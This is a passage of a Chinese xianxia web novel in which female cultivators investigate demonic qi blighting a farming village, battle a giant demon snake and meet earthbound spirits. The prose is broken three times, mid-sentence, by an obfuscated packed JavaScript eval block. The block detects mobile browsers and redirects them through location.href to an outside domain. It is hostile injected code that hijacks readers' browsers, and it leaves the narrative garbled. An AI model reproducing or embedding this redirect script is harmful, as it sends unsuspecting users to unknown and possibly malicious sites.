姬忘尘选择的方向是村子里西北边,那里有一整块农田。她记得方才和邓娇的交流提到过,如今时节已是初秋,但面前的这块农田不仅土地块块皲裂,连野草都枯死在缝隙中。 姬忘尘蹲下/身,取下环刃拆成弯刀,刮了些泥块。泥块因为缺水几乎如粉末顺着刀尖滑落,只有少部分仍留在刀刃上。 “师姐,你发现什么了吗?”汤穗穗也蹲在姬忘尘身边,看向刀刃尖的泥块,方才她用灵气看过,什么也没看出来。她现在已经慢慢适应这里的环境,不再需要师姐传输灵气。 “闭眼,沉下心来,将灵气汇聚在眼前。”姬忘尘偏过头,引导汤穗穗使用自身的灵气去感受泥块的不同,“你再看看这一块有什么不同?” 汤穗穗乖巧地闭上了眼,调动全身灵力聚集到自己的眼睛。 当她再睁开眼的时候,发现这一块碎屑大小的泥块几乎变成了黑色。不仅如此,面前的这块泥田都是如此,有一层若有似无的紫气轻轻覆盖在地面上。 汤穗穗心里一惊,她还想看得再远一些时,魔气带来的不适感再一次笼罩她,她不得已将体内灵气散布全身,抵抗魔气的侵蚀。 “好了。”姬忘尘伸手拉着她的手腕,检查她的状况,“你看到了什么?” “整个村子都被魔气影响着!”汤穗穗不可置信地望向师姐,“师姐,这是怎么了?” “已经影响到土壤了,再晚来一些就会往外扩散。” “师姐,我们要帮帮他们……”汤穗穗抓着师姐的休息,仰头皱着眉着急地说。 曾经她就是生活在农家,农田对于她们而言,就是赖以生存的保障。如今看着这里得到农田被魔气影响,土地干涸连杂草都无法生存,当地的百姓又该怎么活下去? 姬忘尘低头看向师妹,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15484992|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上她担忧的眼神,开口提醒:“这只是场拟真训练。” 这一切都是发生过的事情,即使心中再为这些百姓着急,这一切都是不可扭转的事实。 “可是师姐,这里有魔气,就和我们相关。”汤穗穗坚定地开口,“不是吗?” “对,我们会帮助他们的。”姬忘尘没忍住,伸手掐了掐汤穗穗腮帮子的肉,“不过,我们得做好这里的调查,越仔细越好。” 当两人调查得差不多,重新到村口的时候,已经有几人在此等候。简单商议过后,一行人来都村尾一间荒废了很久的破旧稻草房,勉强作为他们暂时的歇脚处。 “这里的情况可不简单。”宋璋面色沉重,率先开口。 方才她搜寻的方向正好嗨居住着几户人家,便上前去攀谈了几句。仍留在村子里的大多是上了年纪的人,大多数的青壮年已经跑到了镇外,甚至是更远的地方。跟她交流的是一个瞎了一只眼的老太太,腿脚还有些不便,因此没有跟旁人一起往外逃。 距老太太说,曾经立石村村民以种植粮食为生。 “十年前幸得上天垂怜,一夜之间土地变得肥沃异常,一连几年收成都很好。大家过得还算富贵,也开始琢磨着外出经商。”说起那些往事时,老太太扶在门框的手用力地拍打着,悲愤地开口,“正是我等对土地不忠,惹怒了老天,也就收回这份恩赐。” 五年前起,土地的收成一年不如一年。 三年前的一场干旱过后,这里农田更是寸草不生,无论倒多少水都无法正常生长作物。加上县里的苛捐杂税,村中人受不住这样的煎熬,也就纷纷都往外跑了。 不仅是她,也有许多人问询村里到了相似的信息,搜寻其余方位的人也根据自己的信息提出了猜测。 “潜藏的魔物至少在这里十年了,能够达成这种规模的影响,至少结丹期往上。”邓娇对几人提到的时间和变化很敏感。 这次,她们一行人要对付的绝不是什么善茬。 “这里并不轻松,”邓娇顿了顿,认真地看着在场唯二的筑基期,劝退的意思很明显:“你俩该回去就回去,别掺和。” “抱歉前辈,其中缘由很难讲清,但是她们不能离开。”姬忘尘开口插话,表明了她们的态度,“无须担心,我们会全权负责她们的安全。” 蓝鄞也在一旁点点头,姬忘尘刚才跟她提过,邓娇身份有些特殊,跟她们的观念有些差异是正常的。 “当人师姐的,你就这么让她们送死?”邓娇更是觉得天方夜谭,哪有知道危险还不跑的傻子? “可是师姐,这是历练,”汤穗穗知道邓娇的好意,但这场宗门大比,她决不能在一开始的地方就决定放弃,“历练哪有这么容易退缩的?” 况且,就算这只是一场拟真训练,汤穗穗也是真心实意地想要帮助当地村民,去驱散魔气给他们带来的影响。既然她来到了这里,哪怕她改变不了历史,但她也想尽自己所能帮助到这里的百姓。 她不知道所做的这一切到底有没有意义,但也不能让自己良心不安。 “行、行、行。那你们可得好好看护你这两个——”邓娇嗤笑出声,一字一顿地强调着:“好、师、妹!” “邓乔乔,她们如此坚持,一定是有她们不能明说的理由。”宋璋轻轻拍了拍邓娇的后背,“我想她们一定会保护好自己的。” 听到好友的话语,邓娇也就顺着台阶下去,默许她们的选择。 29.山林茂密 既然几人决定留在这里,邓娇也就接着方才的讨论内容说下去。 根据一行人去调查反馈的结果来看,目前最可疑的是西南方向往外走一百里左右的山丘,也就是她们两队人所知的“洄山”。与被魔气笼罩的立石村相反,这座山倒是灵气异常充沛。如果周围连土地都被魔气侵蚀,不可能这么近距离的山丘还是如此茂盛。 事出反常必有因。 “魔物应该就在山上。”邓娇猜测,“我们得尽快上山验证这个想法。” 或许正是在灵气的掩盖下,几人刚到村子时使用过检测魔物的物件,均没有任何反应。 不过因为搜集信息花费了些时间,天色也变得昏暗,要想上山还是挑青天白日更为稳妥。再加上一行人初来乍到,今夜干脆就用来制定明日的上山计划。 “为了提高效率,还是先分成两组,从不同的位置上山。”邓娇看向姬忘尘,未尽之意明显,“没意见吧?” “好。”姬忘尘乖巧地点点头。 “那就好。”邓娇生怕这几个初出茅庐的家伙没有经验,忍不住开口强调,“明天只是初步勘察,如果遇到了魔物,只需要确定它的体型和修为即可,别逞强。——尤其是你们队伍里那两个筑基期,你们死了我也不会在乎。” “多谢前辈提醒。” “……你最好是真的知道,”邓娇对上姬忘尘黑白分明的眼睛,有些不自在地撇开眼,提高声音嘟囔了一句,“反正你们别出事连累到我们就行。” 将明天的上山计划落实之后,两队人便默契地占据茅草屋的两边,各不靠近。 邓娇即使默许了一路同行,依旧没有放下对她们的戒备心,此刻更是下意识地打量着对面五人。 她想起方才姬忘尘的眼睛,在对上那人的面容,总给她一股熟悉的感觉。可她皱着眉在脑海中思索了许久,一时间又不知道在哪里见过。 “邓乔乔,”宋璋起身坐到邓娇的身边,打断了后者的沉思,担忧地开口,“你的情绪不太对,是不是最近宗门里发生什么了?” 宋璋和她认识了也有十多年,她不觉得对方是容易生气的人,可今天无论是在酒家、还是方才面对队伍里两个筑基期的时候,邓娇的反应都比往常大了许多。 就算是内心的情绪被周遭的魔气影响而放大,但宋璋还是想知道好友是否经历了什么不愉快的事情。 其实宋璋刚完成上一个任务没多久,本来还想在宗门里休息上一段时间。在上个任务中,她和队友遇到了一群棘手的魔物,为了将它们一网打尽,她和队友们用尽了办法。这半年来更是直接守在魔物附近的村落,直到不久前才终于清除干净,她也终于得以歇一口气。 但那天邓娇跟她发出邀请的时候,她明显觉察到好友的状态不对,担心她的状态,这才有了这一趟。 “我……”邓娇听到好友的问话,想起了宗门里那些让人烦恼的事情,垂头丧气地抓着自己的衣摆,“我师姐她们吵架了,甚至还说什么‘老死不相往来’的话。” “怎么会这样?”宋璋很是意外,在她印象中,邓娇的两位师姐关系还都挺好的,“会不会只是气头上的话?” “我也不知道。”邓娇烦躁地叹了口气,那件事她又犹豫着不知道怎么向好友开口。宋璋看到她为难的神情也不勉强,轻轻拍着她的肩膀,表示自己一直在她身边。 当务之急,还是得处理洄山及立石村的魔气。 而另一边的汤穗穗在姬忘尘的指导下调息补灵,不断调整自己的身体状态到最佳。不仅是她,唐澄澄也在成洱的指导下做着相同的事情。 两个筑基期的少女都不想自己拖累队伍,全神贯注地提升着自己使用灵气的能力。倘若能在拟真训练中突破瓶颈结丹,那无疑会给整个队伍带来不俗的提升。 在休息的间隙,汤穗穗想到方才邓娇笃定的表情,心中还是有些不明白,扯了扯身旁师姐,低声问:“可魔物在山上的话,为什么山上没有被影响呢?……那里难道不是最先受到影响的地方吗?” “因为‘平衡’。” “师姐的意思是……为了维持‘平衡’,那些为数不多的灵气反而会蓄积起来?”汤穗穗马上领悟姬忘尘的弦外之音。 “没错,当魔气浓郁到一定程度,灵气会完全将其隔离。经年累月之下,过量的灵气会不断地将魔气重新炼化成灵气。”姬忘尘开口解释,“这也就是为什么二者永远处于平衡状态,而不能将某一方完全除尽的原因。” “这样的话,为什么我们不等灵气的自然炼化呢?”汤穗穗还是不太理解,甚至心中隐隐有些多此一举的感觉,“省下的时间,我们可以直接去净化农田就好了。” 既然灵气具有炼化的能力,那直接将一切交给时间不就好了吗?相比之下更重要的,难道不是百姓们赖以为生的农田吗? “等不起的。”面对汤穗穗的疑问,姬忘尘耐心地补充着,“一是时间,自然炼化的时间很长,单是魔气形成的瘴兽就要上十数年;若是遇上魔种,几乎要上百年。二是……” “以立石村为例,这里的百姓等不了多久。”姬忘尘顿了顿,提醒道:“魔气的侵蚀不仅仅影响着土地,还有人。你忘了刚入村时的感觉了吗?” 提到人,汤穗穗猛然想起来自己刚入村时那股呼吸不畅的感觉。 百姓对于魔气虽然比不上修士那么敏感,但在经年累月的影响下,身体所受到的危害依旧不容小觑。 在此之前,她从来没有将魔气和当地的状况联系在一起。她根本不敢想象,若只是简单将炼化魔气这一步交给时间,生活的百姓又能坚持多久呢? “你是不想让帮村里的百姓吗?你所说的方式,治标不治本。”姬忘尘细致地引导着汤穗穗,“倘若只是简单地祛除农田中的魔气,不出一年,又会恢复成原状。” “就像你因为风寒而发高热,不想着怎么医治风寒,而是想自行解决高热。”在一旁调息的蓝鄞听到了两人间的讨论,也进来插一句嘴,“这法子看起来或许可行,但也可能让病情更严重。” 唐澄澄和成洱也结束了一轮调息,加入到几人的对话中去。在大家的说明下,汤穗穗非但没有因为这种简单的问题而感到羞愧,反而更耐心地听着她们陈明其中利害,也明白了自己思想过于单纯 除了对生灵的影响,凝结的魔气还会影响已死者,让死灵形成地缚灵,终其一生无法离开,更无从谈起轮回转世。 “原来是这样,我记住了。”汤穗穗认真地点点头,坦然地承认自己的考虑不周,“抱歉几位师姐,我没有考虑到这些事情。” 成洱看着她认真地模样,伸手摸摸对方的头,出声宽慰道:“没事,人总是慢慢长大的,有不懂的就多问。” “也可以问我,至少我知道的会比你多一些。”唐澄澄也坐到汤穗穗的身边,轻声细语地开口。 “我会的。”听到两人坦白的话语,汤穗穗心中涌起暖流,脸上扬起明媚的笑脸点点头,她知道自己要学习的地方还有很多。 次日一早,一行人分为两支队伍,从两个不同的地方上山。与村里荒芜的土地相比,洄山却显得生机勃勃,树木高耸入云。山脚下长满了郁郁葱葱的野草,与百里不到的荒芜有着天壤之别。 几人对视过后,确定彼此的情况,提前将武器握在了手中,便推开杂草,小心翼翼地往山林深处走去。姬忘尘和蓝鄞走在前面开路,唐澄澄和汤穗穗两人拿着道具随时监测魔物的方位,体型健硕的成洱则走在最后负责提防身后的危机。 汤穗穗跟着师姐小心翼翼地迈步,尽量不发出额外的声音。这座山林的灵气比她想象中的还要浓郁,甚至觉得在这里调息一段时间或许还会帮助她晋升。 不过也只是想想而已。 她下意识抬头,周遭是遮天蔽日的树丛,交叉的树枝好像在半空搭建成了诡异的平台。 随着几人的逐渐深入,在这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490304|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浓郁的灵气下隐藏的魔物,正盯着她们的一举一动。被树叶遮蔽的阴暗处,一双赤红的竖瞳紧紧地锁定着她们前进的身影,伺机而动。 唐澄澄低头紧紧地盯着手中指针颤抖得厉害的罗盘,她偏头撇向身旁的汤穗穗,对方手中的罗盘没有任何反应。她没有告诉任何人,在出发的前一天,她又偷偷修改了手中的罗盘,她不确定被自己改造过后的罗盘准确性如何。 正当她犹豫不决的时候,汤穗穗低头也看到罗盘的变化。后者眼睛一亮,刚要开口,却马上被唐澄澄拉住。 “……你改造过?”汤穗穗瞬间了然,用口型无声询问。 唐澄澄点点头又摇了摇头,抿了抿嘴,眉心紧皱。几位师姐专心致志地观察着四周的环境,都无心留意两人的对峙。 汤穗穗这才后知后觉的感受到,这是和往常完全不同的试炼。之前跟着师姐很快就找到了魔物的藏身之所,几乎没费什么功夫就可以将其清除。 可现在她们几番调查之后之后,仍不能锁定魔物的方位。 经过这段时间的相处,汤穗穗明白唐澄澄的纠结,但她也有自己的考量。因此她还是根据罗盘上的变化,压低声音如实地提醒几位师姐:“小心。” 前面的两位师姐对视一眼,用力握紧了手中的兵器,屏气凝神地提防着随时可能出现危机。她们往前迈出的步伐更慢、更轻,愈发显得周遭格外安静。 汤穗穗握紧手中的木剑,凝重的气氛让她忍不住咽下口水。现在的她,万分清楚地感受着自己因为紧张而加速跳动的心脏,耳边仅剩和几人缓慢踩过枯叶发出的细微响动、和刻意收敛的呼吸声。 对未知魔物的害怕在她内心萌芽,她的掌心已经沁出了汗,黏腻得很不舒服。 害怕是一码事,放弃又是另一码事。她努力克服着内心的恐惧,调匀呼吸,连魔物都没有看见就退缩可不是她的性格。 恰在此时,东南方传来一道迅速摩擦过树叶的声音。 “唰——” 与此同时,一道粗壮的巨物朝她们袭击,几人凭借灵巧的身形向一旁拉远距离,又聚在一起。一直藏匿在黑暗中的魔物在树丛中显露了它的身形,那是条几乎有成人腰身粗壮的巨蟒。 粗壮的蟒蛇直立起的半身,那双血红的竖瞳紧紧地盯着面前的不速之客,有节奏地吐露着信子,想要将这些入侵者驱逐出领地,又或是化作它的盘中餐。 根本没有等她们反应的机会,蟒蛇猛地移动再次出击,大张的蛇口露出尖刺般的獠牙,径直朝站在几人最前方的姬忘尘扑来。 姬忘尘早有预料错身避开,将两位毫无还手之力的少女拉远战场。身旁的蓝鄞早将长枪备好,看准时机就往蛇身刺去。与此同时,成洱的流星锤紧随其后,用力往蛇身砸去。 在两人与蛇的搏斗中,原本应该是汤穗穗扔出机关,但她在看清蟒蛇的那一刻害怕的情绪占据了上风,身体僵直、头脑瞬间空白。 她感觉自己像被困在石块中,无论怎么挣扎,却还是什么都做不到。 等她艰难地打破“石块”回神时,身边的唐澄澄已主动接过原本属于自己的任务,按计划收集蟒蛇的魔息,利用特制的机关分析蟒蛇的修为。 汤穗穗茫然地站在原地,感觉如同局外人般,什么忙都没帮上,她深刻地认识到自己的无能。 这样的她,又怎么能与师姐并肩? 巨大的沮丧压得她喘不过气之前,她掐了一把手臂上的肉强迫自己清醒。 现在不是想这些的时候。 她努力克制情绪,拉回自己的思绪,避免再一次成为被照顾的人。 原本场上局势发生了变化,丢失原本目标的蟒蛇转身与两人进行一番缠斗过后,主动后撤重新等待进攻的机会。 眼看着今天的目标已经顺利达到,几人见好就收,并不打算与它继续纠缠下去。彼此对视一眼,就此撤离蟒蛇的视线,和邓娇她们交换过情报再做打算。 30.地缚灵 汤穗穗垂头丧气地靠着墙根坐着,看着不远处几位师姐热火朝天的讨论,她们正根据方才的魔蛇和环境进行下一步行动的商讨,就连唐澄澄也拿着机关跟她们说些什么。 只有她,是活脱脱的局外人。 汤穗穗后背紧贴墙壁低着头,手臂环绕着膝盖上,有一搭没一搭地掐着自己的手指。 几位师姐都没来得及找她,但她自己一想到方才的突发状况,更是惴惴不安。 她觉得自己一直在逞强,没有那个能力还非要张扬。她对自己的认知从来就是有错的,她不仅不能帮助别人,反而一直是拖累旁人的存在。 不止是方才,那时在江面遇到那条魔鱼也是如此。 即使后来师姐跟自己说不需要在意,但现在想来只是师姐安慰自己的说辞。 汤穗穗陷在自己的情绪中,也没发现手指被自己不停地掐出印子。忽然肩膀被人轻拍,她偏头看去,唐澄澄坐在她的身边,眼睛里填满对她的担忧。 可也正是对方这样的眼神,让她心如针扎,不停地埋怨自己。 “……我,是不是很差劲。”汤穗穗重新低下头,看着手指上的指甲印记,没发觉自己的声音有些抖。 虽然是疑问句,但她的心里早已预设好了答案。 “穗穗,不是的。”唐澄澄看着对方自暴自弃的神情忍不住皱眉,想要反驳什么,但又不知道怎么开口。可惜她向来不擅长怎么安慰别人,只能干巴巴地说道:“那么大的蟒蛇突然出现,不管是谁都会被吓一跳的!” “可是你就没有被吓到。” “我……”唐澄澄语塞,“那是因为我的反应有些迟钝……” 她也并非完全不怕,而是她的反应稍微比旁人慢上些许。 也因此她确实没有被蟒蛇的突然现身吓到,也可以第一时间发现身边人的不对劲。等反应过来的时候,她双腿都在不自觉地打着颤,也不知道刚刚的自己哪里来的勇气。 然而这番话在汤穗穗听来,就像是为了不让自己难堪才编造的蹩脚理由,丝毫不具有说服力。 “你的好意我心领了,”汤穗穗勉强抬起头,拉动脸上的肌肉扯出笑容,“我不是那种不承认自己懦弱的人。” “不是的——”唐澄澄知道对方误解了自己的意思,想要接着解释时,房外传来了说话的声音。 正是邓娇一行人回来了,她们面色凝重,身上都沾上或多或少的泥土痕迹。其中的一个队友正被两人搀扶着,衣服上更是沾满了泥印。 “你们都回来了?人没事吧——”邓娇人还没进门,急急忙忙地就开口了。她大步踏入房间里,扫了眼几人都在,瞬间松了一口气,“还好还好,人都在。” 看到有伤员,成洱主动地上前照看那人的情况。出身镖局的她还会些简单的医术,在这荒郊野外正好能给派上用场。简单查看之下,发现那人身上只是一些树枝与石块导致的擦、划伤,并不致命。 “我们方才遇到了魔蛇,那魔蛇很是狡猾,藏匿在林中游走,险些没发现它的身影。”邓娇看到成洱熟练地上药动作,紧揪成一团的心也放松下来,开口讲述她们所遇,“本来想引诱魔蛇现身,但无论用什么方式都不奏效,反倒因为不熟悉周边摔下山坡。” 邓娇见状,也就不再与魔蛇纠缠下去,带着队友们下了山。 姬忘尘也想起她们遇到的那头魔蛇,也将魔蛇的外貌描述出来。邓娇听着对方的描述,眼睛瞬间放亮:“对对对,你们也遇到了?” 姬忘尘点点头,将自己所遇如实陈述,也找到了些许差异的地方:“我们遇到的那头魔蛇,似乎攻击性更强一些。” “这样吗?”邓娇也回想着方才与引诱魔蛇的画面,“或许,我们遇到它时,它正好被你们重伤,不愿与我们缠斗?” “有这个可能。”姬忘尘点点头,但还有些说不通,“只是……” “一切都是猜测,我们俩这次一起上去。”邓娇心中也塞着疑团,视线扫到墙边说话的汤、唐二人,“留一些人在山下,等摸清了山上的情况再做打算。” 今日的上山初探也算是满载而归,此刻已快到酉时,不适合再上山,一切打算只能留到明天再说。对于明天的出行,邓娇将自己的好友宋璋留了下来,照看伤员和汤、唐二人,其余人便随她上山再会魔蛇。 是夜,汤穗穗睁开依旧清明的双眼,她不知道自己合眼躺了多久,但仍旧毫无睡意。她小心翼翼地翻了个身,生怕惊动身旁的人。 正当她闭上眼睛酝酿睡意的时候,她听到外面传来许多并不清晰的说话声。 起初她以为是自己的幻听。这让本来就因为睡不着而烦躁的汤穗穗直皱着眉,下意识地屏气凝神,运转灵气想要把这股嘈杂的声音摒除。但反而让那些声音越发清晰,就像夏夜里的蚊虫声,“嗡嗡”地直钻进她的耳朵里。 没由来的,汤穗穗想起客栈里莽汉提到的“闹鬼”传闻,只不过当时她们所有人都没有信以为真。 难道,立石村真的闹鬼吗? 汤穗穗再一次睁开眼睛,横竖睡不着,她决定出去看看究竟是什么情况。 她蹑手蹑脚地绕过睡在旁边的师姐们,或许因为她的动作轻,再加上白日里各位都耗费了不少灵气和体力,因此她没有惊醒任何人。 可当她走到茅草屋外的时候,差点被眼前的景象吓到惊呼,站在原地倒吸一口凉气——她看到了成群结队的“人”。 那些“人”如同曾经见过的瘴兽,但浑身的气息比瘴兽更轻薄透明,五官清晰可见。 “他们是地缚灵。”一道声音幽幽地从身后传来,汤穗穗吓得汗毛直立,下意识往外面大跳一步,手忙脚乱地掏出自己的木剑,做好战斗的准备姿势。 但当她看清了来人,那股害怕的情绪化为不自然的羞恼。 “……邓娇师姐,你太吓人了!”汤穗穗收起木剑,压低了声音抱怨。 “原来‘闹鬼’是真的。”面前人压根没在乎汤穗穗一连串的动作,不紧不慢地打了个哈欠,闭着眼抱胸靠在门框边:“你应该知道什么是地缚灵吧。” 汤穗穗点点头,昨天师姐还提到过,凝结的魔气会让死灵形成地缚灵。 对于地缚灵的出现,邓娇并不意外,只是这般规模,倒是比想象中还要大。 邓娇看着面前这个呆呆的小脑袋,或许是上山遇到魔蛇受了挫。昨天自信满满的姿态相比,现在的她被挫败所笼罩着,全然没有了那副不怕天不怕地的模样。 邓娇也是过来人,自然知道汤穗穗这股情绪的来源。既然有萍水相逢的缘分,索性好人做到底,就拉她一把。 “走吧。”邓娇似笑非笑,“带你开开眼界。” 还没等汤穗穗应答,她就拉着对方的手腕往村里走去。 已是夜半三更,本就荒芜的村庄此时更是万籁寂静。晚风悄悄从衣袖钻入,更是凉得汤穗穗忍不住打了哆嗦,下意识抓紧身旁邓娇的手臂。 所幸邓娇师姐并没有关注到她的小动作。 越往村里走,汤穗穗越忍不住打量周围擦肩而过的地缚灵,原本沮丧的情绪也在看到他们的状态后转化成担忧。 他们仍像生前那般,有的三三两两勾肩搭背,行走在路上;有的站在房屋门口,似乎和屋内人说着话;还有的扛着铁锹走向农田的方向;甚至有“人”看到了她们,热情地和她们打着招呼…… 即使他们的动作再自然再真实,也不能掩盖他们如今只是一团魔气的事实。 “他们……”汤穗穗缩在邓娇的身后,声音如蚊似蝇,不敢做出任何反应。 邓娇倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494491|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是比她从容很多,笑着颔首,以作应答。 等那“人”走后,邓娇敛起脸上的笑容,她听到了地缚灵口中的那些闲话家常,叹了口气:“看来这场魔气来得凶猛,他们都不知道自己已经死亡的真相。” 魔气的侵袭让许多人死在无知觉之间,或许是一场梦里,又或许只是一阵小憩。他们并不知道自己自己死了,仍无知无觉地“活着”。 汤穗穗的心口被揪作一团,眉头不自觉地皱在一起,她不知道该怎么描述这种感受。 或许对于他们而言只是打盹的功夫,但对于那些最亲近的人来说,这是一场残忍的悄无声息的死别。 “他们的灵魂被囚禁在这里,除非身上的魔气被净化,否则永远都不能离开。”邓娇的声音也放得很轻,似乎也不忍心戳破这场幻境,“不管以何种方式。” 汤穗穗正想说些什么,却被邓娇一把拉到身后,而她掏出了自己的长剑横在身前,戒备地和面前人影拉开距离。 被长剑指着的地缚灵青年,举着手脸上露出尴尬的笑容,没有预料到对方的反应如此敏捷:“……道长?” 邓娇只是抬着下巴,挑了挑眉。 “抱歉,我不是故意偷听的。”青年尴尬地挠了挠头,目光放到毫无知觉的其余村民身上,“只是,我想向两位道长求助……如果可以的话,能不能帮帮我们?” 诚然如邓娇所说,突如其来的魔气夺走了他们的生命。等青年清醒过来的时候,已是如今模样。他与只会机械地重复着某件事情的旁人不同,直到此刻,他依旧保持着清醒。 面对那些熟悉的面孔,他不忍心看着他们如今的模样,想要给他们一个解脱。 他也曾想向求助于生者,但那些人要么感受不到他的存在,要么直接被吓得跑走,根本无法交谈。 直到今天,他终于等到来了可以正常交流的人。 面前的青年并无伤人的意图,汤穗穗的胆子也大了起来,探头打量着面前的青年。青年身上的紫气均匀地分布周身,就像是她们寻常修炼的状态一样。 “你先天有灵。”邓娇当然也发现了青年的不同,“至于你所求之事,不用你说,我们自然会解决。” 先天有灵的人即使成为地缚灵后,依旧能保持清醒。若是遇到心性不佳者,甚至会利用吸纳的魔气伤人。 立石村的闹鬼传言,或许正是因为面前的青年想要求助。 邓娇凝神观察,在她初步判断之下,青年虽然吸纳魔气到了筑基的程度,但他并没有寻常入魔的癫狂状态。 “多谢道长。”青年闻言,透明脸上那抹笑容也真切了不少,礼貌地弯腰作揖致谢。 “你变成地缚灵多久了?”汤穗穗在邓娇身后探出脑袋。 “我也不清楚,只记得看过十五轮满月。”青年低垂着头,体内的魔气翻涌,眼眸不自觉变红,“眼看着越来越多的人变成这副模样,我却什么都做不了……” 十五轮满月,一年多的时间。 他眼睁睁地看着原本鲜活的同伴变得死气沉沉,而自己却无能为力。 “你先别急!我们有很多人,你别担心,我们一定会做到的!”眼看对方状态不对,汤穗穗急忙开口打断,紧张地咽下口水,生怕青年一个想不开成为她们的敌人。 “……抱歉。”青年被汤穗穗的声音拉回神,压下那股翻涌的情绪。为了让同伴们得到救赎,他深知自己绝对不能成为两位道长的麻烦。 汤穗穗和邓娇对视,这里的魔气影响比她们想象中还要大。她们心中隐隐有猜测:村子里不少人并非自行离开的,而是被连续不断的魔气吞噬,被迫成为地缚灵。 因此,绝对不能再让魔气蔓延下去。 她们必须尽快除掉山上的魔蛇,净化魔种,拯救这里的村民。 31.来都来了 地缚灵青年得到应允后,礼貌拜谢,邓娇随意地摆摆手,不在乎这些客套。转身离开时,青年的视线不自觉划过擦肩而过的昔日同伴、如今的地缚灵,垂眸掩下失落的情绪。 他仍记得彼此相处时的点滴时光,如今同伴们却因魔气影响,成为了这幅难以言说的机械模样。 站在原地的汤穗穗看着青年失落离开的背影,又看着周围不能回应她们、无法拥有意识的地缚灵。 她不忍心再看,移开目光看向身旁的邓娇:“是不是,只要解决了山上的魔种,他们就会恢复成原来的样子?” 比起初见时的恐惧,现在她心中填满的是对与他们遭遇的悲伤。 “不一定哦,等山上的魔种清楚之后,地缚灵体内凝聚的魔气也将被净化。程度轻的,或许会保全灵魂,重新转世;而像他那样的,灵气只会将他重新‘打碎’,回归世间——用俗话说,他将会‘魂飞魄散’。”邓娇听到她颤抖的声音,下意识拉过汤穗穗的手,担心她被周围地缚灵身上的魔气侵蚀,“要回去吗?” 汤穗穗点点头,继续看下去不仅于事无补,还会给自己本就低落的情绪添上一笔。 “为什么他会魂飞魄散呢?”不过对于邓娇的说法,她还有些疑问,“只因为他先天有灵?” “可以这么理解。先天有灵让他无意间吸纳魔气筑基,魔气重塑了他的灵魂,保全了理智。同时,灵气对魔气的炼化是彻底的……”邓娇轻叹,选择将最后的结局隐去,“也许你会觉得这样很残忍,但吸纳两气之事,本就逆天而行,无论有意或是无意。” “……我知道的。” 吸纳魔气的生灵会被魔气影响,为害一方;吸纳灵气的生灵又更容易被魔气影响,又或是,如她们一样,因常年使用心法而遭到反噬。 从走上这条路开始,结局早已注定。 正如师姐所说,她们从来都是送死的人。 不知不觉间,她们离歇脚的房屋越来越近,汤穗穗又想到山上那头魔蛇,和那时候自己那一瞬间的失措。 自责的情绪再一次笼罩了她,眼看着还有不到十里的距离,她止步站在原地,低垂着头,紧紧地掐着自己的手指:“邓师姐,我是不是……不该那么执着。仅凭我这样浅薄的修为,是不是就不应该缠在师姐身边……” 她是想做些什么,但绝不是想成为旁人的阻碍。 她想变得强大,而不是缩在强大的人身后。 “怎么?”邓娇松了手和她一同站在原地,手扶在膝盖上,微微弯腰,语气轻快地调侃,“这么快就改主意了?昨天反驳我的时候,不是很有气势吗?” “……抱歉,”汤穗穗咬着下唇,为昨天大放厥词的自己脸红羞愧,“是我没有认清自己的能力,太自以为是了。” 她不该总是那样,抱着愚蠢的天真,有那么自以为是。 正当她又陷入自怨自艾的思绪中时,脑门突然被人弹了一下,传来一阵轻微的疼痛。她下意识伸手捂住脑门,抬头朝始作俑者看去,不明白对方为何这样。 “你现在像极了蔫蔫的稻苗。”邓娇一手叉着腰,另一只手悬在半空,毫不掩盖自己方才的动作,“让我猜猜……嗯,早上遇到了魔蛇还被吓到,虽然你的师姐们都没怪你,但你还是觉得自己拖累了大家的进度,对吗?” 汤穗穗瞪圆了眼睛,没想到对方竟然会说得这么准。她的表情全写在脸上,连猜都不用,只看一眼便能完全读清楚。 “这不是挺好的吗,至少你还是有自知之明的。”邓娇轻笑着捏捏她的脸,直起身子做了几个拉伸的动作,“然后呢?” 没头没脑的发问,汤穗穗茫然地眨着眼睛,连揉自己额头的动作都停滞了:“……然后,什么然后?” “难道你要一直陷在这种情绪里面吗?——不想着怎么解决,不想着怎么改变,就在这里……自暴自弃?”邓娇耸了耸肩,将汤穗穗的话堵了回去,“哦对了,你是不是想直接退出——我可不觉得,你是面对一丁点小事,就直接放弃的小稻苗。” “我……”汤穗穗张了张嘴,想要为自己辩解什么——但她又想听听邓娇师姐是怎么想的。 可是邓娇师姐突然弯腰拉进两人的距离,两人的鼻尖只剩下一根手指的距离,汤穗穗不自觉屏住呼吸,看着邓娇师姐眼睛里自己的身影。 邓娇没有其余的动作,只是直直地盯着她的眼睛,郑重地开口:“你的眼睛告诉我,你想坚持下去。” 但很快对方便拉远了距离。 